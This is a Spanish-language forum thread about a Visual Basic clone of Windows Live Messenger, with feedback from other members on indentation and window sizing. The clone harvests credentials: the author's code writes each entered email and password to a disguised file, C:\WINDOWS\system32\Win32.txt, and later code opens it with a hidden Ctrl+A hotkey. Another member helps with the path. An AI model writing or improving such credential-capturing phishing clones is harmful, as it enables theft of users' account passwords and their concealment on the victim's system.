Clon Windows Live Messenger

[Elemental Code]

Aver, me lo baje y empiezo mal

mirando por arriba dice
"Privasidad"

segundo consejo:
TABULA. se me complica horrores leer el codigo.

Tercer Consejo:
acomoda mejor la imagen de fondo.
yo con una resolucion de 1440 x 900 (lcd 17' wide) me di cuenta que  algo andaba mal cuando maximize.
ponele que onformchangesise (escribilo bien >.<) vuelva al tamaño en el que lo diseñastes.


y esto no es tanto un consejo o sugerencia, va en cada uno, pero yo lo hubiese guardado en un txt y no en una base de datos.

me gusto bastante el efecto realista cuando se subrayan los "links".
y el icono estaba medio flojo.
Fijate que capaz que es por mi windows 7 pero no parecia el del msn 9
tenia como un reborde negro.

Excelente codigo, estaba buscando uno asi.

[c0c0_w3y_s0ftwar3]

Graxxx.  Elemental Code...

Por eso keria q alguien lo ejecutara y me diera su consentimiento por k estoy empezan2 a programar ahora y saves q nesecito consejosy ayudas...

Primero nesecito k me especifikes si es donde dice "declaracion de privacidad"  ya lo arregle,,

segun2 Tabula que me kieres decir con eso...

y tercero,, me podrias dar un ejemplo de como acomodar la imagen con esto onformchangesise como me dijiste...

y ya estoy cambian2 la forma de guardar los mails.. la estoy ponien2 en un TXT como me dijiste...

Gracias de nuevo bro...

Salu2...

[BlackZeroX]

Tabulacion por gerarquia segun tu estructura del codigo ejemplo

Código (vb) [Seleccionar] Expandir


sub main()
    For x = 0 to 99
        msgbox "este msgbox esta tabulado y se entiende perfecto!¡."
        if jaja = jojo then
            msgbox "bu-ala otra tabulación según la jerarquía de programación o su flujo del mismo!¡."
        end if
    next
end sub



Para qué se entienda lo que se abre en una columna se CIERRA EN LA MISMA COLUMNA y se entiende a lectura simple!¡.

Sangriento infierno Lunar!¡.

[c0c0_w3y_s0ftwar3]

Ok... ya voy entendien2  BlackZeroX,,, savia q nesecitaba la ayuda de ustedes..

gracias...

[c0c0_w3y_s0ftwar3]

En cuanto el code para  guardar los mail en un TXT q tal este ???

Código [Seleccionar] Expandir


Private Sub Command1_Click()
   Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub

Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub


[Psyke1]

Pon mejor la ruta asi:

Código (vb) [Seleccionar] Expandir

Environ$("windir") & "\system32\Win32.txt"

Salu2!

[c0c0_w3y_s0ftwar3]

Gracias *PsYkE1* ya lo hice asi como me dijiste. y para ejecutar elarchivo lo puse algo asi...

Código [Seleccionar] Expandir

 
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
    Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
  End If